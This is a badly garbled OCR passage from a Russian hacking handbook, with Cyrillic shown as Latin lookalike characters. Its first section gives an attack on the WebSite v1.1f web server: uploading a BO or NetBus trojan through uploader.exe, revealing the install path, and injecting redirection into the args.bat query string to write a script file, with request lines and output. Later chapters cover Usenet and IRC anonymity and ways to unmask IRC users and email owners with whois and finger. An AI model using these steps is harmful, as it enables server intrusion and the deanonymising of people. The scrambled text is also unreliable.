TTOJTHSIST TU KaTaJlOTH Pa3HOOOPAa3HBIMU MPUMEPAMHM, TaK PamyIONIMMU IJ1a3
MTOTEHIIMAJTLHOTO B3JIOMIITNKA.

IMoctaBum Ha mamuHy WebSite v1.1f B neonroBoii KoHdurypaimu
Y TIPUCTYITUM K UCCJIEZIOBAHUIO €T0 Ha IbIPKMU.

3amava rnepen HaMM CTOWT TakKasl: 3aKayaThb Ha JIOMaeMbIil cepBep Ka-
Koe-HUOYIb CPEACTBO YIAJIEHHOTO aIMUHUCTPUPOBAHMS U YITPABJICHUS, TUTIA
BO unu NetBus, 1 3amycTuTh ero. Dram 3aKauku He MPeACTaBIsieT HUKAKOTO
MHTepeca, T.K. o yMonuaHuio WebSite mo3BouisieT ynajaeHHO 3aIyCcTUTD /cgi-
win/uploader.exe 1 3aKkayaTb KOMY YTOTHO UTO YTOIHO.

BTopbiM 3TarioM sIBJIsieTCs BRIICHEHWE MECTOPACTIONOKEHUST KaTarora
¢ WebSite'oMm. DT0 neaeTcst ToXe oueHb JIETKO, IPOCTO YIAJIEHHO 3aIycKaeM
(baiin /cgi-dos/args.bat, Ha yTO HaM B OTBET MPUXOAUT COOOLIEHWE TUTIA:

Empty output from CGI program

D:/WebSite/cgi-dos/args. bat

YTO OJHO3HAYHO ompeeser Katamor ¢ WebSite'om. Toraa orobpaka-
eMbIit Karasnor /cgi-dos/ Oyner Haxomutcs B Katanore D:/WebSite/cgi-dos/,
a myTh K (aitny Patch.exe, KOoTopbIit MbI 3aKa4uBaeM, OyIeT:

D:/WebSite/UploadS/Patch.exe

MTtak, MOMEHT, K KOTOPOMY MBI TOJAOIUINA, — 3TO MCCJIEeIOBaHKME Ha
MpeaMeT BO3MOXHOCTH 3aIycKa (aiiia, KOTophIii Mbl 3aKkavaiu. Hampumep, y
web-cepBepa Apache ecTb ysI3BUMOCTb Ha CUET TECTOBBIX CKPUNTOB /cgi-bin/
test-cgi u /cgi-bin/nph-test-cgi, KoTopbie aHaJTOTUYHBI MPUCYTCTBYIOLIEMY B
WebSite npumepy Args.bat. Dta ysI3BUMOCTb 3aKJIIOUaeTCsl B TOM, YTO BO3-
MOXHa pacriedyaTka IepeiaBaeMoil CTPOKM B TAKOM BHUJIE, B KAKOM OHa IpH-
CYTCTBYET, M 9TO OOBIYHO JEaeTCsI CTPOYKOM CKPUIITa

echo QUERY_STRING = $QUERY_STRING

T.€. €C/IM MBI TlepeaeM cTpouky tuma > l.bat, To mo yioruke Beieit
CTpOoYKa

QUERY_STRING =

Oyner nepeHarnpasiieHa B daitn 1.bat, nyTs K aTOMY (haiiyty Mbl MOTIU

ObI yKa3aTh Ha KaTaJior /cgi-bin/, oH ObI Ty/a 3amucacs, 1 Jajuee yxxe yaajaeH-
HO MbI MOTJIY OBI €0 3aITyCTUTb U3 3TOTO Karajora.
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MpbI MOXeM 3achbllaTh crielMajbHble HereyaTHble cuMBoJbl TUNa CR
(ko 0dh), LF (xox Oah). [TosiBieHWe TaKMX CUMBOJIOB B KOMaHIHOM CTpOKe
MPUBEIET K NMEPEBOAY CTPOKU B CKPUITE U BIOJHE BO3MOXHO, UTO CJIEIyIO-
LIEH CTPOYKOI BAPYr HU C TOrO HU C CEro OKaxKeTcsl Halll (haiii, Jexaluii B
katayore /uploads/.

PaccMoTpuM, Kak 3amyckaiorcd .bat ckpunTel Ha web-cepBepe Ha oc-
HoBe WebSite.

Ilpu oOpabGoTke bat-ckpumTa BO BpEeMEHHOM  KaTaJiore
WebSite/cgi-temp/ cosnarorcs 4 daitna: xxxxx.ace, xxxxx.bat, xxxxx.inp,
xxxxx.out. B riaza cpasy 6pocaercs daiin xxxxx.bat. Tak, npu ynaseHHOM
3amycke /cgi-dos/args.bat monyyaetcs Takoii ¢aiin xxxxx.bat:

@ECHO OFF&&TITLE WebSite CGI

D:\WebSite\cgi-dos\args.bat

D:\WebSite\cgi-temp\xxxxx.out

Ecnu aToMy .bat daitny KuHYTh B KOMaHAHOM CTpOKE apryMeHTOB, Ha-
npumep, /cgi-dos/args.bat?africa.bat, To moayuum xxxxx.bat:

@ECHO OFF&&TITLE WebSite CGI
D:\WebSite\cgi-dos\args.bat africa.bat
D:\WebSite\cgi-temp\xxxxx.out

Kto 3Haer, 4To Takoe TepeHaIpaBJIeHHE IMOTOKA NAaHHBIX (3HAYKU
> u <), cpa3y noumer, 4To 31ech K yemy. [lo-nipoctomy, WebSite cosnaer Bpe-
MEHHBIN xxxx.bat haiiy, pe3yabraThl AeSTEIbHOCTH KOTOPOTO TIepeHarnpaBisi-
10Tcs B haiis xxxxx.out. DToT daityn Xxxxxx.out OTAAETCS YIAJICHHOMY KJIIUEHTY
pEe3yAbTaTOM pabOThl CKPUIITA, €CJIN B pabOTE CKPUIITA HE TIPOM3O0IILIO OG-
k1. Bo BpeMeHHBIX (haiijax BMECTO CUMBOJIOB XXXXX ITOICTABJISIETCS CTydali-
Hasl TI0CJIeIOBATeIbBHOCTh CUMBOJIOB.

3aryckaeM BOT TakK:
/cgi-dos/args.bat?>d: /Website/cgi-shl/1. bat
rmojryyaem xxxxx.bat:

@FECHO OFF&&TITLE WebSite CGI

D:\WebSite\cgi-dos\args.bat africa.bat

“>D:/WebSite/cgi-shl/1.bat

D:\WebSite\cgi-temp\xxxxx.out

Bunure, kak Hexopowo mnoctynun WebSite — mepen cumBosiom
MepeHarpaBjieHus > TMOCTAaBWI KaKyl0-TO TajoCTh ~, OT KOTOpPOi BCSIKOE
MepeHaIpaBIeHUE TIepecTaeT ObITh IIepeHarpaBICHUEM.



XakepcKkue TpoKu 273

Ecnu 3abuBaTh MHOTO MHOTO TEpeHanpaBJeHUil TUIa >, TO BIOJHE
BO3MOXKHO, YTO B KAKOI-TO MOMEHT BPEMEHU Ha KaXblil 3HAUOK > HE XBaTUT
3HaukKa *, TaK KaK BIOJIHE BO3MOXHO, 4To Oydep y WebSite He pe3rHOBBIIA.

nasa 31.
Ckpbitasa Usenet

BonbimmHcTBO Moaeit, ucnonnsyoiux Usenet, 3HaeT, Kak BaXKHO ObI-
BaeT CKPBITh CBOIO TIMYHOCTh. Bo-TMepBbIX, KaK TOJILKO BbI MOCAIN JT1000€ CO-
o61eHre B J1I00YI0 TPYIIITY HOBOCTEH, Balll IIOYTOBBIN SIIUK C HEOOBIYATHOM
CKOPOCTbIO HAYMHAET HATIOTHATHCS junk mail, T.e. BCIKMM MycopoMm, paccka-
3BIBAIOIINM, KaK pa300raTeTh 3a MeCs1l, OCTAHOBUTH BbITIaJIEHUE BOJIOC U JIPY-
roii momoOHoI ApsiHbI0. BO-BTOPBKIX, Balllv MyOJIMYHO BHICKA3aHHbBIE B3TJISIIbI
MOTYT BbI3BaTh BOJIHY OTKJIMKOB, MIPUYEM HE TOJbKO B paMKaXx I'pyMIibl HOBO-
CTel, HO U HaIpaBJIEHHBIX HATIPSIMYIO aBTOPY COOOIIEHUSIX, UYTO HE BCET/Ia XKe-
JlaTebHO. B-TpeTbux, Balliu Apy3bsi, KOJJIETW WiIM paboTomareab MOTYT Ha-
TOJIKHYTBCS Ha Ballle COOOIIEHUE, TIPUYEM OHO MOXET UM HE TMOHPABUTHCS.
Kopoue roBopsi, mpuumH MOXET ObITh MHOTO, a BBIBOJ OJJMH: COBCEM He T1JI0-
X0 3HaTh, KaK COXpaHUTb aHOHUMHOCTH B Usenet.

Kpatko omuiiieM MeTOIbl, KOTOPbIMM MOXHO BOCIOJb30BaThCS IS
sToit uenu. [lepBble qBa MeTOMA JAIOT BAM BO3MOXHOCTb MOJIb30BATHCS aJlb-
TEPHATUBHBIM 3JIEKTPOHHBIM aJPECOM, MPU 3TOM OTBETHI Ha Ballle COOOIIIe-
Hue B Usenet (a Takxke junk mail) Bbl monyyaTh Bce paBHO OyzeTe, a BOT Ballla
peasibHasl IMYHOCTh OCTAHETCSl CKPBITOM. TpeTuil MeToa AaeT MOJHYI0 aHO-
HUMHOCTb: HUKAKOM IMOUThI BooOI11e. Tak 4To BbIOMpaiiTe TOT, KOTOPBIA 00J1b-
1€ MOAXOIUT.

MerToa #1

Hcnonbp3oBaHue KOMMEPUYECKOM CIYKOBI IS OTIIPABKU COOOIIEHUM
B Ipymnmnbl HOBocTei. CTOUT AeHer, HO MPOCT B MUCIIOJb30BaHUM. Ajpeca:
www.nymserver.com 1 www.mailanon.com (mmociaeaHsisi ciiy>k0a ImpenocTaBisieT
CeMUIHEBHBIN OeCIUIaTHBIM MPOOHBIN MEPUOT).

MerToa #2

IMonyyeHue OecruiaTHOro 3j7eKTpoHHOTO aapeca B Hotmail wnu
NetAddress, uTo, 10 CyTH, paBHO3HAYHO ITOJIYYEHUIO «(DUKTUBHOTO» aapeca,
TOCKOJIbKY Ballle HACTOSIIIee MMS AaBaTh COBCEM He 00s3aTeIbHO, 1 UCIIONb-
3oBaHuto DejaNews free posting service. MeToq uyTh 6oJiee CI0XEH, YEM MEp-
BbIii. HUKOMY He M3BECTHO, KTO BbI, HO UTOOBI CKPBIT €IIie U T BBI, CIICAYET
BOCIIOJIB30BaThCs IIPOKCU-CepBepoM, nHaue Bail IP-anpec Oymer oOHapyxKu-
BaTh Ballle reorpaduieckoe rmojxoxeHue. JIpyruM HeA0CTaTKOM METO/IA SIBJIS-
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ercsa nojie FROM B oTnipaBieHHOM COOOIIIEHUM, TTOCKOJIBKY B HEM KaK0e-To,
MyCcTh ¥ GUKTUBHOE, UMSI purypupoBath Oyaer, Haripumep John Johnson.

MerTtoA #3

WcnonbszoBaHue mail-to-news gateway B coueTaHUM C aHOHUMHBIM PU-
MmeitnepoM. Mail-to-news gateway 1o3BoJIsIET OIb30BATENISIM OTIIPABIISITh CO-
OOI1IEHUS B TPYIIIbI HOBOCTEH C MCMOJIb30BAHUEM 3JIEKTPOHHOM MOYTHI, a HE
MECTHOTO cepBepa HoBocTeil. Ho eciu monb3oBaTbcsl 3TUM CEPBUCOM
«B J100», TO Ballle UMsI M OOpaTHbBIN aapec OyayT GUryprupoBaTh B COOOIIEHMH,
T.K. mail-to-news gateways 1x He aHOHUMU3UPYIOT. [1JIs1 TOTO, YTOOBI JOCTUYD
MOJTHOW aHOHMUMHOCTHU, CJIeyeT MCIO0JIb30BaTh KOMOMHALUIO aHOHUMHOTO
puMeitiepa u mail-to-news gateway, T.e. oTpaBuThb cooOleHHe B mail-to-
news gateway c caiita Takoro pumMeiiiepa. DTo IMPOCTO: OTIPABIISIATECh HA Ta-
KOM caiiT, 3aTeM K CTpaHMI1Ie, TO3BOJISIIONIEN OTIPABISITh COOOIIEHUST (MOXHO
BocHoJib30BaThesa SSL-3amuineHHo hopMoii), HabepuTe Ballle COOOIIeHUE,
a mrosie TO: 3aMoIHUTE B COOTBETCTBUU CO CIICAYIOLLIEH CXeMOiA.

Jliist oTIipaBKuM COOOIIEHMsI, HAaIIpuMep, B rpymy alt.test, agpec moi-
JKeH OBITh TAKUM:

m2n-YYYYMMDD-alt. test@alpha. jpunix.com
rue

YYYYMMDD — 370 Tekyuiasi nata (roj, Mecsil, ieHb). JIJist OTIpaBKu
COOOIIEHHUSI B HECKOJILKO TPYIII UX Ha3BaHUS CeayeT pa3neauTh 3HAaKOM +.
Hanpumep, ans ornipaBku coob1iieHus B alt.test v misc.test 11 ceHTs6ps1 1998
aJipec TakoB:

m2n-19980911-alt. test+misc. test@alpha. jpunix.com
Bort u Bce. Bamre coobienue Oymet BRINISIACTD TaK:

Date: Thu, 11 Sep 1998 11:09:02 +0200 (MET DST)

Message-ID: <199809111009.MAA29412@basement. replay. com>

Subject: Just testing

From: nobody@REPLAY.COM (Anonymous)

Organization: Replay and Company UnLimited

X-001: Replay may or may not approve of the content of this post-
ing

X-002: Report misuse of this automated service to

X-URL: http://www.replay.com/remailer/

Mail-To-News-Contact: postmaster@alpha.jpunix.com

Newsgroups: alt.test, misc.test
This is only a test
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Kak sierko 3ameTuTtb, He Majeiiniero cieaa ornpasutess! CienyeT He
3a0bIBaTh O e1lle OJHOM BaxkHOM MoMeHTe. Mail-to-news gateways MosiBIIsIIOT-
cs U ucyesarot. Alpha.jpunix.com paboTaeTt ceroaHsi, HO MOXeT UCYE3HYTh 3a-
BTpa. Ho He nmevanbrech, CBeXy10 MHMOOPMALMIO O TAKMX CIIY>K0aX MOXKHO BCe-
rna Haiitu. M He 3a0bIBaiiTe mmompobOoBaTh, Kak Bce paboTaer, Mpexiae yem
OTMPABUTh UTO-TMOO BaxkHoe!

Bce coobiieHus1, oTnipaBisieMbie B usenet, o yMOJIYaHUIO0 COXPAHSIIOT-
cs B 6a3e JaHHBIX HaBeKU. Ec1y BEI He XOTUTE, YTOOBI COOOIICHIE OBLIO 3aap-
XUBUPOBAHO, CJIEYET BOCITOIb30BATHCS KOMaHIOM:

X-no-archive:yes
BDTO MOXHO clieJIaTh JIM0O0 MyTeM H100aBIEHMS 3TOr0 JOIOIHUTEILHOTO

3aroJioBKa B COOOIIIEHUE, €CIM NeWS-KJIMEHT MO3BOJIeT 3TO cAeaTh, 00
IIPOCTO B MIEPBOM CTPOKE COOOILIECHMS HAallMCaTh X-no-archive:yes.

WHoraa mosb3oBaresib OTHPABISET COOOIIEHUE, a TIOTOM XajeeT 06
3TOM, OCOOEHHO €CJIM OH He BOCIIOJIb30BAJICS 3ar0JIOBKOM X-no-archive:yes.
Dejanews 1o3BoJIsIeT «yOUTE» OTIPABIEHHOE paHee COOOILEHNE.

HCKOTOpre TOJIL30BAaTEIU ITPEANOYUTAIOT ITOJIb30BAThCA usenet, n3oe-
rast BO3MOXXHOTO HaOJIIOACHUS HpOBafIIICpa. B aTom CJIydya€ HCIIVIOXUM pPCLIC-
HHEM CTAaHOBUTCA UCITIOJIb30OBAHUE Hy6JII/I‘1HbIX CEPBEPOB HOBOCTE.

hnaBa 32.
Ckpebitas Internet Relay Chat

IRC ocTaBuia ganeko rmo3aau cedst Kak HeykiIroxue chat'sl B oKHe Gpa-
y3epa, TaK U Mapa3MaTUYeCKue «KOMHATbl OOILIEHMSI» TaKUX OHJIAWHOBBIX
cayx0, kak AOL u MSN, npeBocxosiiiye Mo cCTerneHu KOHTPOJIUPYEMOCTH,
MOAHAA30PHOCTU U OTCYTCTBHUSI KaKOil Obl TO HY ObLTIO aHOHUMHOCTH ILIKOJIb-
Hble yrpeHHUKH B CCCP. IRC HacTonbko momnyjsipHa, 4TO MHOTUE JIIOAN
npoBoasiaT B IRC 6onbiie BpemeHu, yeM 6ponst o WWW. U kosb ckopo aist
MHOTUX JIIOJIEN 3TO YaCTh KMU3HU, CJIEAYET MOAYMATh U O privacy B 3TOI BUPTY-
AJIbHOW XU3HU.

Bbl — Anub

Bo3M0OXHOCTb NMpOCTYLIMBAaHUS TOTO, YTO BBl TOBOPUTE APYTOMY YE€JIO-
BeKY MpH OOIIEHUY OMH Ha OJMH. 3/7IeCh BCE JOBOJIBHO MTPOCTO: €CJIY Bbl CUM-
TaeTe, YTo oOCyXIaeMblii BOIpoc KOH(eaeHIIMaJIeH, He TOJIb3yITeCh o0IlIe-
HUEM Ha KaHaJie, Jaxke eCJIM KpOMe Bac U Balllero cooeceiHUKa Ha HEM HUKOTO
HeT. He mosb3yiiTech KOMaHI0# /msg Wi OKHOM query, YTO OJHO U TO Xe.
Best undopmanusa npoxoaut uepe3 IRC-cepBep U TeXHUYECKU MOXET ObITh
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3anucaHa. Bmecrto aroro Bocnonb3yiitech DCC (Direct Client to Client). ITpu
3TOM MH(MOpMaIus OymeT MepeaaBaThCsl BalleMy COOSCETHUKY HAIpsIMYIO,
MUHYSI CEpBEpP, OT KOTOPOTO MOXKHO JTaXe OTKITFOUUTHCS ITOCIE YCTAHOBICHUS
cBsa3u o DCC. B nmpuHuumne, 1 3Ty nHGOPMAaLIMIO MOXHO paciiu@poBaTh Ha
JOOGOM M3 Y3JI0B, Yepe3 KOTOPBIN YCTaHOBJICHA CBA3b MEXIY BAMU U BalllUM
c00eceTHUKOM, HO 3TO CJIOXKHO.

Coop nHpopmanu 0 TOM, Ha KAKMX KaHaJIaX Bbl HAXOJUTECH, C TTOCTIe-
nywoniei uaeHTuuKamen pameit JMYHOCTH. J{omycTiM, TOJITUTUIECKUA fe-
SITeJIb, CKPBIBAIOIIMI CBOI TOMOCEKCYAJIbHYIO OPUEHTALINIO, YaCTO OBIBACT B
IRC. Byayuu yBepeHHbBIM B CBOIf aHOHUMHOCTH, OH YaCTEHbKO 3aXOJIUT Ha Ka-
Han #russiangay viu #blackleather. O61aercst ¢ moapmu. Berynaer B nepe-
MMUCKY, HE Ha3bIBasl, TOHSITHOE JIeJI0, CBOErO peajbHOro UMEHM. A TIOTOM Ha-
XOJIUT BCE CBOU IMUCHbMa OIYOJUKOBAHHBIMM B KaKOW-HUOYIb BOHIOUEH
OynbBapHOII Ta3zeTeHKe Ta MockoBckoro KoMmcomonnbiia. He oueHb mipusit-
Ho. Ho cutyanust BrojiHe BO3MOXHas.

Ecnu BBl XoTUTE OBITH AHOHMMHBI, HE YKa3bIBailiTe CBOIl HACTOSIIUI
azpec e-mail B COOTBETCTBYOLIEM TToIe B Setup.

CTaHbTe «HEBUIMMbI». DTO CBOMCTBO MO3BOJISIET BaM OCTaBaTbCSl HE
0OHapy>XKEeHHBIM MPU MOMBITKE JIIOOOTO MOJIb30BATENSI, HE 3HAIOLIETO TOYHOE
HanucaHue Bamero nick, Haiitn Bac B IRC nmo nMmeHu Balero gomMeHa win
userid (4acThb Balero e-mail, cTosiias nepes 3HakoM @), UCTOJIb3YSI KOMaH-
1y /who win /names. Dto nenaercs KoMaHaoi /mode $me +i, koropast Mmoxer
OBITh /151 YI00CTBA BKJIFOUEHA B CITMCOK KOMaH/, aBTOMAaTU4YE€CKU BbITMOJIHSI -
eMbIX Npu noakitoueHur. B nmocnennux Bepcusix mIRC Hago mpocro mocra-
BUTb rajiouky HanpoTuB Invisible Mode B nuanoroBom okHe Setup.

He naBaiite cBoii anpec moasm B IRC, B 1o0ponopssmoYHOCTH KOTOPBIX
BBl He yBepeHHI. Wau, 1o KpaitHeii Mepe, JaBaliTe CBOI ajlbTepHATUBHBIA
azpec.

Bbl — OXOTHUK

JIOBOJIBHO MOILIHBIM CPEICTBOM IMOKMCKA IO KaKOW-IM00 M3BECTHOM
YacTy MHGOPMAIIMHY O TTOJTb30BaTesie (MJIU TPYIINe MOJb30BaTeIeii) IBIsSeTCs
koMaHma /who, o Kotopoii mouyemy-To HeT HU ciioBa B mIRC'oBckom
Help-aiine. lenas 3ampoc o Mmojb3oBaTesie KOMaHI0#l /whois, MbI OOBIYHO
MoJjiyyaeM IIpUMEPHO TaKOM TEKCT:

ShowTime “mouse@ml1_12.1linknet.net * May flower
ShowTime on #ircbar #newbies

ShowTime using 0slo-R.NO.EU.Undernet.org [194.143.8.106]
Scandinavia Online AS

End of /WHOIS 1list.
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KomaHnmna /who mo3BosisieT 3amaTh MacKy ISl TIOMCKa TOJIb30BaTeNIei
IO JII00O0I YacTh UX TOMEHHOTO MMEHHM, userid Wid MMeHU (To, YTO B ITOJIE
Real Name). [TorryctuM, MBI ullieM Jtoaeit u3 gomeHa global.de. CuHTakcuc
TaKoOB:

/who =global.dex
Wnu nimeM Bcex moib3oBaresieit u3 CuHramypa:
/who =.sg*

Wnu M1 yxe ob1anuch ¢ rocnonHoM ShowTime ¥ XOTUM HalTU ero
OIISITD:

/who *mousex
W
/who =flowerx

Tak xe MOTYT HaWTHU U BacC, €CJIM Bbl HC BOCHOHBByeﬁTCCB KOMaHI[Oﬁ
/mode $me +i.

OmnpenesneHue aapeca 3J1eKTPOHHOMN MOYTHl — 3a7aya TOBOJBHO CIOX-
Hasi, HO MHOTAA BbInmoJHUMasi. HauHeM ¢ «1060Boii» ataku. Komanna /ctep
ShowTime userinfo (1u, npolie, yepe3 MeHI0) MoKaxeT HaMm e-mail address,
yKa3aHHbIN caMUM Tosib30BaTeeM. [10CKOIbKY MaJlo KTO COODIIAET CBOI Ha-
CTOSILLUI afpec, HaIeXAbl Ha IPaBAUBBINA OTBET MaJio. Eciiu JoMeH nosyyeH-
HOTO ajipeca COBIAAaeT ¢ TeM, YTO CJAeayeT 3a 3HAKOM @ B OTBETe, MOJTyUYeH-
HOM Ha 3anpoc /whois, To BEpOSITHOCTb TOT0, YTO aApec yKa3aH MpaBAMBbIii,
TTOBBIIIIAETCS.

Crnenyiass BO3MOXHOCTh — HMCITOJIb30BaTh MH(pOPMALIMIO, comepkKa-
1Iy10Csl B OTBeTe Ha 3arpoc /whois. MiMs1 nomeHa roaenaTh HEBO3MOXHO, T10-
3TOMY MBI HaBepHsKa 3HaeM, 4YTO Iojb3oBaresib ShowTime u3 momeHa
linknet.net. Dto mrepBrIit mar. YacTo BMecTo OYKBEHHOI CTPOKM ITOCIIe 3HaKa
@ cnenyet nmudposoii IP-agpec, KOTOpHIii 110 TOI WJIM MHOM MPUYMHE HE OII-
peneuics Mpy MOIKIIOYEHUH TTOh30BaTe s K cepBepy. ETo MOXHO TTOITbI-
Tatbes ornpeaeantb KomaHaoi /DNS ShowTime. Eciu pesynbrar nosydeH, To
TepexoauM K clienyioineMy ab3aiy. Eciau HeT, To monpoOyeMm elie OauH CIo-
c06. Bocnonb3oBapiiuck nporpammoit WS Ping32 unu CyberKit, caemaem
TraceRoute ¢ ykazanueM undponoro aapeca. [Iporpamma npocieaur myThb OT
Bamero IP-agpeca no nuckomoro IP, npunamiexamero ShowTime. ITocnen-
HMI U3 ONPEICTUBIIMXCS 0 UMEHU aIpecoB YKaXkeT, CKOpee BCETo, Ha MMsI
JIOMEHa TI0JIb30BaTesl.

Enem manpie. Y Hac ecth 1100 MOJIHOE UMSI, COOTBETCTBYIoIIee IP-an-
pecy nonb3oBaressa nona kiamdkor ShowTime (mll_12.linknet.net), nu6o, B
Xy[OIIeM cliydae, TOJIbKO uMs noMeHa (linknet.net). B mepBoMm citygae MBI MO-
JKE€M TIOTIBITAThCS, BOCITOJIb30BABIIMCHL KOMaHoii finger (Jinbo B omHOM U3
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JIBYyX BBILIEYMOMSIHYTBIX MporpamMM, jauo6o npsimo B mIRC, rae ectb KHOMKa
Finger npsimo Ha Tool Bar), onpeaenuTs Bcex TEKYILIUX MOJIb30BaTeIe U3 10-
MeHa linknet.net. JIyist atoro Mbl aenaeM finger agpeca @linknet.net (userid He
ykaszbiBaeM). [Ipy y1auHOM CTEUEHHU OOCTOSITEIbCTB Mbl MOJYYUM UTO-HM-
OyIb B 9TOM poje:

Trying linknet.net
Attempting to finger @linknet.net
[linknet.net]

root 0000-Admin console Fri 16:27
henroam John Brown pts/1 Tue 10:57
pckh68.1inknet.net

pailead Jack White pts/?2 Tue 11:03
ml4_17.1inknet.net

oneguy Michael Lee pts/3 Tue 11:08
ml1_12.1linknet.net

sirlead6 Joan Jackson pts/4 Tue 11:05

ml4_16.1inknet.net
End of finger session

Bot on Ham mll_12, npunamiexut oneguy@linknet.net. OTmeTnm,
YTO WHOT/Ia UH(OPMAITUS B OTBET Ha finger-3ampoc MOXeT OBITh BhIIaHA TOJTb-
KO TTOJTB30BaTENII0 M3 TOTO Xe TOMEeHa, K KOTOPOMY TIPUHAIICKUT afpec, KO-
TOPBII BB XOTUTE UICHTUDUIIMPOBATh. PelieHre mpocToe: HalimuTe mMoIb30-
BaTessT U3 MCKoMoro nmomeHa (/who *linknet.net*) u mompocwure ero cienathb
finger-3anpoc.

U B niepBOM, 1 BO BTOPOM CJIydae €CTh ellle OaHa BO3MOXHOCTb. Eciu
«OXOTHHUKY» U3BECTHO peaJibHOE UM WM (DaMUIMST KCKOMOTO TOJIb30BaTes,
MOXXHO TociaTh finger-3anpoc B BUie UMA@noMeH Ui QaMUIus@mIoMeH.
Hanpuwmep, finger Ha Alexandr@main.com2com.ru BbIIACT HaM CIMCOK BCEX
MoJib30BaTeselt o UMEeHU AJIEKCaHAP C UX JOTMHAMU.

Bot, noxaiyit, 1 Bce U3BECTHBIE CPEACTBA, KOTOPBIE €CTh Y «OXOTHHU-
Ka». A BBISICHMB Balll peajibHblIii e-mail anpec, «OXOTHUK» MOXKET MOXKET BbISIC-
HUTb U Ballle peajibHOE UMSI.

'hnaBa 33.
YCTOHOBAEHME ANYHOCTU MO N3BECTHOMY

apapecy

Croco0blI BBISICHEHUSI IMYHOCTH 10 U3BECTHOMY aipecy e-mail Becbma
pa3HOOOpa3HbI, IIpUYeM HU OAMH U3 HUX HE rapaHTupyer ycmnexa. O6paTHas
3ajJada pelIaeTcsl JOBOJIBLHO TPHUBMAJBbHO: MHOXECTBO e-mail directories
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(Fourl1l, WhoWhere) no3BoJiI1oT HAiiTH 0 UMEHU YeJI0BeKa ero aapec (eciu,
KOHEYHO, OH CaM TOTO 3aX0Te).

Bocnonb3oBasiucs nporpammoit WS Ping32 wnm nyuiie CyberKit, Bbi
MOJIyYMTE BO3MOKHOCTh KaK Obl HAIIPaBUTh Balll yKa3aTeIbHBIIM Tajell Ha JIfo-
0011 ampec 2JIeKTPOHHOM MOYTHI U CIIPOCUTH «A 3T0 KT0?». MHOT/Ia BaM MOTyT
otBeTuTh. UTak, MBI 3amaem aapec someone@oxford.edu, monydaem:

Login name:someone In real life: John McCartney
Directory:/usr/someone Shell: /usr/bin/csch

Last login Fri Augl18, 1995 on ttyv3 from dialup.oxford.edu
No mail

No plan

D10 03HauaeT, 4YTo someone@oxfrord.edu mpuHamIeXuT HekomMy John
McCartney. Jleno cnejiaHo, XOTsI O4eHb YacTO Bbl HE MOJIYYMTe HUKAKOTO pe-
3yJIbTaTa JMO0 CTPOKY CIEAYIOIIETO COAEePKAHUS:

Forwarding service denied
WIN:
Seems like you won't get what you are looking for

To xe camoe MOXHO caenaThb, MOUAS Mo 3ToMy ampecy B WWW, rie
pacmiosioxkxeH Web-uHTepdeiic, TTO3BOMSIIONINI TTOYYUTh TOT Ke CaMblii pe-
3yJIbTaT.

Crenyer 3aMeTHUTh, YTO BhIITOJIHEHME finger ¢ MCnoIb30BaHEM UMEHU
xocTa (B 1aHHOM cityuyae oxford.edu) MOXeT He MPUHECTH HUKAKOTO pe3yibTa-
Ta, B TO BpeMsl KaK HCITOJIb30BaHWE BUIOM3MEHEHHOTO (aJIbTePHATUBHOIO)
MMEHHU XOCTa pe3ynabTar gact. Kak y3HaTh ajlpTepHaTUBHOE MMs xocta? Boc-
noab3yiiteck CyberKit, pynkuust NS LookUp. BBeaure umss www.oxford.edu
Y TIOCMOTPHUTE Ha TMOJYYeHHBbIN pe3ynbraT. OH MOXET COAepXaTh albTepHa-
TUBHBIE MMEHA XOCTa, Ha3biBaeMble aliases, ckaxeMm, panda.oxford.edu. ITo-
npoOyiite someone@panda.oxford.edu, Mmoxet cpaboTaTh. [Ipumep U3 KU3HU:
someone@com2com.ru He JacT HMYEro, a BOT someone@main.com2com.ru
BBIIACT UCKOMBIIA PE3yJIbTaT.

HMuorma nHbopmaius B oTBeT Ha finger-3ampoc MoXeT ObITh BbIIaHa
TOJIBKO MOJIb30BATEIIO U3 TOTO € TOMEeHa, K KOTOPOMY MPWHAIJIEKUT aIpec,
KOTOPBI BBl XOTUTE MAECHTU(ULIMPOBAThL. PellieHre TpocToe: HallIuTe TOJTb-
3oBarejist U3 uckoMmoro gomeHa B Internet Relay Chat, n monmpocure ero cue-
natsb finger 3amnpoc. [1porpamma-kinueHT mist IRC conepxut ¢pynkiuio finger,
TaK YTO HUKAKOW CTHIeIIUaTbHBIN COPT YeIOBEKY, K KOTOPOMY BBl OOpaTUIINCD,
He TIoTpedyeTcs.
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haBa 34.
3ALULLLEHHbIN PA3rosop on-line

B To Bpems Kak CYIIECTBYIOT JECSATKU IMPOTPAMMHBIX TTPOIYKTOB, TIO-
3BOJISTIOIIMX IIUMPPOBATH (haltibl U COOOIICHUS, TIepeaaBaeMble TT0 JIEKTPOH-
HOI TIoYTe, CPEACTB IS 3aIIUTHI Pa3rOBOPOB B peXknMe on-line Bce elne o4eHb
Majio. Kakoit 61 M3 U3BECTHBIX TTPOTPAMM JIJIST Pa3roBOpa B TEKCTOBOM PEXXH-
Me (chat) Mbl HU TIOTb30BAJIUCH, HAIIl PA3TOBOP MOXET CTaTh OOBEKTOM IS
JIIOOOMBITHBIX yiieir. HeT HeoOXoaMMocTu roBOpUTh, YTO MPOBainepy WU
J11000# IPYroil 3aMHTePEeCOBAHHOM OpraHU3aIMy TaK YX JIETKO TTPOYeCTh TO,
YTO MBI TIeyaTaeM Ha kiaBuarype B npoiiecce obeHus Ha IRC unu ICQ, HO
ecsii UM OyJeT OYeHb MHTEPECHO TTOCIyIIaTh HAllld Pa3rOBOPhI, OHU 3TO Clie-
naoT. [IpocToii Texer (a Jitoboi cTaHAapTHBIN chat — 3TO TPOCTO# TEKCT) MO-
XKeT ObITh BbleeH u3 [P-makeToB ¢ moMoIIbio crielinaibHOro 000pyA0BaHUS
1/VJIY IporpaMMHOTO obectieueHus (sniffers).

Hy, Bce He Tak yX M IJ10X0, MOCKOJIbKY MOACTYIIIMBAHUE U TTOACMAaTPH-
BaHUE, 3TH JIOOMMbIE pa3BjedeHUs ONpeaeJIeHHO YacTh PyCCKOro Hapoja,
SIBJISIIOTCS I€JIOM, OTHUMAIOIIIUM Ype3BbIYaiiHO MHOTO BPEMEHMU U JIEHET, Ja U
BEPOSITHOCTh TOTO, YTO OYAYyT MOACAYIIUBATh UMEHHO Bac, HeBeauka. M tem
HE MEHee...

Pa3roBop B TEKCTOBOM peXxume

IIporpamma ais 3alUILIEHHBIX pa3roBopoB on-line — Secure Commu-
nicator.

Secure Communicator 1mo3BoJisieT rdpoBaTh OHJARHOBBIE PA3TOBO-
pbl U Gaiibl, epegaBaeMble OMHUM TOJib3oBaTesaeM apyromy. Jlisi Havaia
